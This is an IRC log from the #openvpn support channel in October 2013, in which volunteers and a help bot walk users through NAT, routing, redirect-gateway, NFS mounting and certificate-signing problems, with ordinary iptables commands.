22:01 < haxle> so.. I'm trying to forward all my traffic through my vpn, and I can only contact my vpn server when connected, upon reading a little I've come to understand i need to make some nat rules for my server to route traffic from the vpn ips to the internet.. all the examples are using internal ip address blocks but the thing is my vpn server is a vps with an external ip.. anyone know of something i can read that relates to this specific prob
22:01 -!- dropje_ [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 < haxle> lem?
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 <+pekster> You don't need NAT if you're issuing public IPs to clients
22:03 <+pekster> Otherwise you need it anytime you're routing from RFC1918 networks onto the public Internet
22:03 <+pekster> More info at !redirect
22:04 <@ecrist> it actually looks like the bandwidth limit is the current forum host
22:04 <@ecrist> :\
22:06 < haxle> if i don't want to issue public ips to clients i'd need to use bridging then? my only option?
22:07 < haxle> I only have one ip for the vps
22:07 <@ecrist> no, you need NAT
22:08 < haxle> ok so I would need to setup a rule to route all traffic from NAT to specifically my vpss' external IP?
22:11 <@ecrist> ffs, I think something on one network is preventing rsync after a certain amount of traffic, to the other
22:17 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
22:19 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
22:25 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
22:31 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
22:37 -!- haxle [~haxle@unaffiliated/haxle] has quit [Ping timeout: 246 seconds]
22:50 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
23:04 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Changing host]
23:04 -!- haxle [~haxle@unaffiliated/haxle] has joined #openvpn
23:05 -!- illusion_ [~illusion@198.55.107.75] has quit [Ping timeout: 265 seconds]
23:12 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
23:13 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
23:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
23:42 -!- Silverfox [~SilverFox@unaffiliated/silvera/x-884105] has joined #openvpn
23:43 < Silverfox> anyone ever see a funny qustionmark/diamond character as the only thing that shows on the page after a fresh install of adito/ALS?
23:54 <@krzee> wrong channel
--- Day changed Wed Oct 16 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:02 -!- Silverfox [~SilverFox@unaffiliated/silvera/x-884105] has quit [Ping timeout: 272 seconds]
00:07 -!- haxle [~haxle@unaffiliated/haxle] has quit [Ping timeout: 252 seconds]
00:24 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:28 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
00:28 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
00:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
00:37 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Ping timeout: 272 seconds]
00:38 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
00:42 -!- StarBlessed [~StarBless@116.251.190.245] has joined #openvpn
00:47 < StarBlessed> Hi all.  I have an issue.  Im trying to pipe my whole LAN through a gateway to my openvpn server.  My gateway and openvpn server can see eachother and tracerouting from the gateway shows that the requests are being routed through the OpenVPN server.  However the PC's on the LAN are unable to route through the gateway.  I have 2 simple iptables rules setup on the gateway like this "iptables -I FORWARD -i tun0 -o eth0 -j ACCEPT" and back again.  The 
00:48 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
00:48 < StarBlessed> LAN is on eth0; External interface is eth1
00:48 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
01:01 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:03 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
01:08 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Ping timeout: 256 seconds]
01:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:28 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
01:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:31 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
01:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:45 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Remote host closed the connection]
01:51 < StarBlessed> Anyone?
01:52 < StarBlessed> !welcome
01:52 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
01:52 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
01:53 < StarBlessed> !route
01:53 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
01:53 <@vpnHelper> behind the server or client
01:54 < StarBlessed> !clientlan
01:54 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
01:54 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
01:56 < StarBlessed> !redirect
01:56 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
01:56 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
01:58 -!- StarBlessed1 [~StarBless@116.251.190.245] has joined #openvpn
01:59 < StarBlessed1> Never mind...  200 people, no-one here.  LOL
01:59 < StarBlessed1> Ill deal with it myself.
01:59 -!- StarBlessed1 [~StarBless@116.251.190.245] has left #openvpn []
02:00 -!- StarBlessed [~StarBless@116.251.190.245] has quit [Ping timeout: 245 seconds]
02:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
02:06 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:06 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
02:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
02:13 -!- smue [smue@nostromo.smue.info] has quit [Remote host closed the connection]
02:17 -!- smue [smue@nostromo.smue.info] has joined #openvpn
02:22 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has joined #openvpn
02:34 -!- mattock_afk is now known as mattock
02:35 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
02:45 -!- yang [yang@freenode/sponsor/fsf.member.yang] has joined #openvpn
02:49 -!- Carbon_Monoxide [~cmonxide@14.0.143.205] has joined #openvpn
02:50 -!- Carbon_Monoxide [~cmonxide@14.0.143.205] has left #openvpn []
02:57 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
02:58 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
03:06 -!- Denial [Denial@90.216.209.93] has joined #openvpn
03:07 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
03:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:23 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:23 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
03:24 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
03:26 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
03:28 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
03:30 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
03:52 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Quit: Quit]
04:04 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
04:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:26 -!- Dave2 [~Dave2@freenode/staff/dave2] has quit [Ping timeout: 624 seconds]
04:34 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
04:46 -!- unconnue [~unconnue@0117600129.0.fullrate.dk] has joined #openvpn
04:46 < unconnue> Hello everyone.
04:47 < unconnue> I'm having trouble setting up an OpenVPN client connection on PC-BDS (FreeBSD). I've scrapped all of my work.
04:48 < unconnue> * PC-BSD
04:48 < unconnue> Would anyone mind helping me through this?
04:48 < unconnue> I've read varied documentation and haven't been able to get this working.
04:57 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:01 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
05:02 -!- unconnue [~unconnue@0117600129.0.fullrate.dk] has left #openvpn []
05:04 < andi> Hello
05:05 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:06 < andi> I'd like to be able to connect to hosts in a network behind a vpn server. I know there is a way using route/iroute to access a network behind a client. What do I need to do to be able to reach clients behind the server without editing the routingtable of the clients?
05:09 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:10 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
05:15 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
05:27 < andi> Got it! I configured a nat to the other network.
05:30 < BtbN> sounds like the worst possible solution...
05:30 < BtbN> why not just add routes on both sides?
05:35 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
05:40 -!- mirco [~mirco@p50802AD6.dip0.t-ipconnect.de] has joined #openvpn
05:42 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:42 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
05:55 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
06:01 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Ping timeout: 246 seconds]
06:06 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has joined #openvpn
06:07 < manitu> hi ho.. is there any way to use NAT in win7? i have an iroute and don't want to change the gateway of the target.. so i need to NAT, right?
06:07 < manitu> i wish they would have iptables :(
06:08 <@ecrist> you can use internet connection sharing, I think.
06:08 <@ecrist> I've never tried it, though.
06:10 -!- mirco [~mirco@p50802AD6.dip0.t-ipconnect.de] has quit [Quit: Verlassend]
06:10 < manitu> ecrist, would i work to change the source ip on the openvpn server? or wouldn't that work with the openvpn client?
06:10 < manitu> *it
06:11 <@ecrist> I'm not sure what you mean
06:12 < manitu> 10.0.8.0/24(Lan client) --- 172.16.0.0/24(VPN) .. so i so something like iptables -t nat -I POSTROUTING -d 10.0.8.0/24 -j SNAT --to 10.0.8.123
06:13 <@ecrist> !linnat
06:13 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
06:15 < manitu> but if i do that natting on the server, the packet goes to the vpn client, which sends it to the lan, the lan answers to the client.. would the client redirect to the server again? even if the source ip is the client itself?
06:16 < Freeaqingme> !openvzlinnat
06:16 <@vpnHelper> "openvzlinnat" is since openvz cant do NAT inside containers, use iptables -t nat -A PREROUTING -i tun0 -j DNAT --to-destination <container.ip>
06:16 < BtbN> if it's doing the NAT, yes. Otherwise nope, how should it know?
06:17 < Freeaqingme> Difference with openvz is merely snat vs dnat?
06:17 < manitu> BtbN, i didn't know if it saves it as natting somehow if "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters" is activated
06:18 < manitu> i just try to bypass windows 7 natting somehow.. since i don't know if it really works and the it-admin of a customer is gonna call me how to configure the mashine.. :(
06:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
06:54 -!- takamichi [~takamichi@85.12.8.14] has joined #openvpn
07:15 -!- takamichi [~takamichi@85.12.8.14] has quit [Ping timeout: 246 seconds]
07:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:19 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:19 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:19 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:30 < andi> BtbN: Because there are many hosts on the other side where I need to change the routes. Why is the solution with a nat that worse?
07:31 < BtbN> because you can just add a regular route, without the need for a nat?!
07:33 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
07:33 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
07:33 < andi> A regular route just on the openvpn server? And how do the packet of the clients in the network behind the openvpn server find their way back to the openvpn client which is in a private network the other clients do not know?
07:33 < BtbN> with another route on the other end...
07:33 < BtbN> if it works with a nat, there alreay has to be some route anyway
07:38 < andi> Yes, on the openvpn client side. But on the side at the network behind the openvpn server, there's no need for an additional route, because this client sends the package back to the openvpn servers ip address which is in this network.
07:39 < andi> This other end you mentioned are about 50 servers. In that case I need to configure all this hosts to know where they need to ship packages to, to be able to send them back to the openvpn client, or not?
07:39 < defswork> add the route on your current default gateway
07:42 < andi> In that case incoming traffic would go through eth1 to the host and since the default gateway is an external address the answer will be send out through eth0. I don't know if this is nicer.
07:44 < andi> I think it depends on the setup which is the best way to solve this problem. There are many ways to go. Thanks for this disussion, but I think with configuring this nat rule I have only one single point I need to have a look at. Think in my case this is the best way to go.
07:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:09 -!- Haseo [~Haseo@aufrinfo.net] has quit [Read error: Connection reset by peer]
08:09 -!- Haseo [~Haseo@aufrinfo.net] has joined #openvpn
08:33 -!- Denial [Denial@90.216.209.93] has quit [Remote host closed the connection]
08:33 -!- Denial [Denial@90.216.209.93] has joined #openvpn
08:36 -!- Guest71568 [~quassel@vps.schoolofprivacy.eu] has quit [Remote host closed the connection]
08:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
09:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:18 -!- Silverfox [~SilverFox@unaffiliated/silvera/x-884105] has joined #openvpn
09:32 -!- raidz_away is now known as raidz
09:39 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
09:39 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
10:09 -!- FireSt0rM [~FireSt0rM@unaffiliated/firest0rm] has quit [Ping timeout: 256 seconds]
10:09 -!- FireSt0rM_ [~FireSt0rM@unaffiliated/firest0rm] has joined #openvpn
10:35 -!- toothe [~mongolian@unaffiliated/toothe] has quit [Quit: leaving]
10:44 -!- FireSt0rM_ [~FireSt0rM@unaffiliated/firest0rm] has quit [Ping timeout: 240 seconds]
11:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
11:12 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
11:15 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Operation timed out]
11:16 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
11:19 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
11:32 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
11:48 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
11:48 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:49 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
11:52 <@krzee> !shotgun
11:52 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
11:53 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
11:59 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
12:00 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
12:10 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:26 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:29 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:37 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 245 seconds]
12:37 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
12:41 -!- yang [yang@freenode/sponsor/fsf.member.yang] has left #openvpn ["Free yourself with Free Software, join www.FSF.org"]
12:43 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
12:57 -!- Silverfox [~SilverFox@unaffiliated/silvera/x-884105] has quit [Ping timeout: 246 seconds]
13:13 -!- francoisbeau [~francoisb@216.144.118.131] has joined #openvpn
13:16 < francoisbeau> !welcome
13:16 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
13:16 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:36 < mist_> i'm running openvpn on a raspbmc installation and am trying to mount a nfs share through the vpn. it works when i do it manually but when i do it through fstab it doesn't work.
13:36 < mist_> i'm assuming that fstab is loaded before the openvpn service is started. Any way of getting around this?
13:41 <+pekster> mist_: Maybe mount the share after the VPN comes up using the --route-up script-hook. Since the final stage of the initialization will block until that script exits, it's generally best to fork back to itself and return 0 to the openvpn process
13:42 < mist_> pekster: i'm running openvpnserver on a pfsense, not sure how i would set that up. Is that in the same place as i add the push route?
13:42 <+pekster> "add the push route" ?? huh? You'd use --push to push routes
13:42 <+pekster> You are using OpenVPN, yes? Not "Access Server" which is _not_ openvpn
13:47 <+pekster> Posting what config you have now might be relevant to get an idea of what exactly you're doing. It sounded like this is a clien connecting to a server, but the client wouldn't "push" any routes (a server pushes, a client pulls)
13:47 <+pekster> !configs
13:47 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:56 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:57 < mist_> pekster: not sure if i'm following you
13:57 < mist_> run the fstab with a client specific override?
13:58 <+pekster> Thus far you're not making a lot of sense. This is an openvpn client, right? What does push routes have to do with a client?
13:58 < mist_> nvm about the push route thing
13:59 < mist_> yes, this is a openvpn client. on startup it (i assume) runs fstab and then the starts the openvpn service at a later stage.
14:00 <+pekster> Right. I suggested you do the NFS mount as part of the openvpn startup process using the --route-up script hook (see !scripts)
14:00 < mist_> !scripts
14:00 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
14:00 <+pekster> Optionally consider using an automount setup and that way your NFS share will be mounted dynamically when you try to access it, which would require your VPN be up first
14:03 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
14:03 -!- kirin` [telex@gateway/shell/anapnea.net/x-hhvbstjbmfokboas] has quit [Ping timeout: 268 seconds]
14:09 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
14:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-sqaunhhqktbfmqte] has joined #openvpn
14:17 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
14:21 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1153.webspeed.dk] has joined #openvpn
14:45 -!- Denial [Denial@90.216.209.93] has quit []
14:57 -!- vinise [~vinise@78-23-155-175.access.telenet.be] has joined #openvpn
14:59 < vinise> hi all, i'm trying to make a small script to help me generating client certificates on unix system, if i use pkitool --interact i can sign and commit the certificate, is there any possibility to sign without the --interact ?
15:05 <+pekster> Use --batch
15:06 <+pekster> Or simply omit --interact. Note that fully automated signing requires that your CA key be unencrypted, which is generally unwise
15:14 -!- gtw [~gtw@gateway/tor-sasl/gtw] has joined #openvpn
15:16 -!- chillmore [~chillmore@e176072066.adsl.alicedsl.de] has joined #openvpn
15:16 < chillmore> hi
15:17 < chillmore> how can I use bridged network on client-side ?
15:17 < chillmore> is there a client-bridge or something?
15:20 -!- rob0 [~rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
15:40 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 242 seconds]
15:51 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:53 -!- gtw [~gtw@gateway/tor-sasl/gtw] has quit [Remote host closed the connection]
15:53 -!- guy [~gajus@oftn/member/guy] has joined #openvpn
15:54 < guy> I've setup a OpenVPN on CentOS, though connecting to VPN doesn't change my IP>
15:55 < guy> I am using default server.conf file
15:55 < guy> https://gist.github.com/anonymous/df03ea32f5e1710fec26
15:55 <@vpnHelper> Title: gist:df03ea32f5e1710fec26 (at gist.github.com)
15:55 < guy> and this is my https://gist.github.com/anonymous/c6dae8bb19559947e34f
15:55 <@vpnHelper> Title: gist:c6dae8bb19559947e34f (at gist.github.com)
15:55 < guy> client configuration
15:57 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k1153.webspeed.dk] has quit [Quit: Quit]
16:02 < guy> got it.
16:02 -!- guy [~gajus@oftn/member/guy] has quit [Remote host closed the connection]
16:11 -!- guy [~gajus@oftn/member/guy] has joined #openvpn
16:11 -!- chillmore [~chillmore@e176072066.adsl.alicedsl.de] has left #openvpn []
16:11 < guy> I managed to connect to the server
16:11 < guy> but, nothing worked afterwards..
16:11 < guy> as in.. no incoming data
16:11 -!- francoisbeau [~francoisb@216.144.118.131] has quit [Quit: francoisbeau]
16:11 <+pekster> guy: OpenVPN won't ever "change" your IP; at best it can give you another one assigned from the remote end
16:12 <+pekster> You probably want to read:
16:12 <+pekster> !redirect
16:12 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:12 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
16:12 < guy> Well, this is what I was expecting "at best it can give you another one assigned from the remote end"
16:15 <+pekster> That's what you've got so far; follow that info and the flowchart if you are confused as to the next steps
16:18 < guy> just by an accident I have discovered Access Server
16:18 < guy> this is essentially the same product but with a UI?
16:19 <+pekster> It's based on the GPL 2.2.x core, but it's got non-free code and an associated EULA/licensing scheme to go with it
16:20 < guy> are there any downsides of using it?
16:20 <+pekster> Cost and lack of source code for the non-free bits
16:21 < guy> It seem to be USD 60/year
16:21 <+pekster> I've no clue about the terms; you'd need to consult the EULA or the vendor for details. This channel provides ad-hoc support for the OpenVPN product, a result of the open-source community
16:22 <+pekster> !as
16:22 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
16:22 < guy> I see.
16:22 < guy> Well, lets finish settings up openvpn first.
16:22 -!- kirin` [telex@gateway/shell/anapnea.net/x-sqaunhhqktbfmqte] has quit [Ping timeout: 245 seconds]
16:23 -!- kirin` [telex@gateway/shell/anapnea.net/x-hnyhshybrituifel] has joined #openvpn
16:31 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
16:32 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
16:35 -!- guy [~gajus@oftn/member/guy] has quit [Read error: Connection reset by peer]
16:35 -!- Silverfox [~SilverFox@70.114.243.60] has joined #openvpn
16:35 -!- Silverfox [~SilverFox@70.114.243.60] has quit [Changing host]
16:35 -!- Silverfox [~SilverFox@unaffiliated/silvera/x-884105] has joined #openvpn
16:36 -!- guy [~gajus@94.31.2.220] has joined #openvpn
16:36 -!- guy [~gajus@94.31.2.220] has quit [Changing host]
16:36 -!- guy [~gajus@oftn/member/guy] has joined #openvpn
16:37 < guy> I am stuck with this http://ircpimps.org/redirect.png .. [can you ping VNP?] yes, [is redirect-gateway enabled] yes, [can you ping 8.8.8.8] no, [is ip forwarding enabled] yes, [is NAT enabled] yes, [are the client and server on the same LAN] no ...
16:37 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
16:37 < guy> and this is where I am stuck.
16:38 < guy> it doesn't seem iptables issue, https://gist.github.com/anonymous/4545b6ff52625c38e94c
16:38 <@vpnHelper> Title: gist:4545b6ff52625c38e94c (at gist.github.com)
16:39 <+pekster> Your original server paste was wrong for !redirect (there's an entire flowchart: use it.
16:39 <+pekster> On top of that, your netfilter rules you pasted are unusable. https://www.pekster.net/staging/josh/md/iptables-L.html
16:39 < guy> https://gist.github.com/anonymous/ca2a39d3ea4ec8afab59
16:39 <@vpnHelper> Title: gist:ca2a39d3ea4ec8afab59 (at gist.github.com)
16:41 < guy> https://gist.github.com/anonymous/5931cd77e5bdc2b85d3d
16:41 <@vpnHelper> Title: gist:5931cd77e5bdc2b85d3d (at gist.github.com)
16:41 < guy> iptables save
16:41 < guy> plus the updated (fixed?) server redirect.
16:41 < guy> (above)
16:42 <+pekster> Forwarding enabled? Check `sysctl net.ipv4.ip_forward`
16:42 < guy> Yes
16:43 -!- vinise [~vinise@78-23-155-175.access.telenet.be] has quit [Quit: Quitte]
16:43 <+pekster> Assuming enp1s0 is your uplink on the server, everything looks fine (though long term you really should write more proper firewall rules, but that's not in scope for this channel)
16:44 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
16:44 < guy> I've on purpose dumped all the iptables to make sure that firewall is not the issue..
16:44 -!- mattock is now known as mattock_afk
16:44 <+pekster> What's `ip route show` on the server list?
16:45 < guy> https://gist.github.com/anonymous/72c5b5b58888c18f67d3
16:45 <@vpnHelper> Title: gist:72c5b5b58888c18f67d3 (at gist.github.com)
16:45 <+pekster> So why on earth have you used enp1s0 when that's not your uplink?
16:45 <+pekster> eth0 is your uplink, not enp1s0
16:46 < guy> .. stupid copy paste. sorry.
16:46 <+pekster> That should fix it
16:49 -!- elfixit [~Icedove@adsl-178-39-151-161.adslplus.ch] has joined #openvpn
16:49 -!- guy [~gajus@oftn/member/guy] has quit [Read error: Connection reset by peer]
16:49 -!- guy [~gajus@oftn/member/guy] has joined #openvpn
16:49 < guy> getting there
16:49 < guy> :-)
16:49 < guy> Was able to use http/https
16:49 < guy> but IRC as one example, didn't work
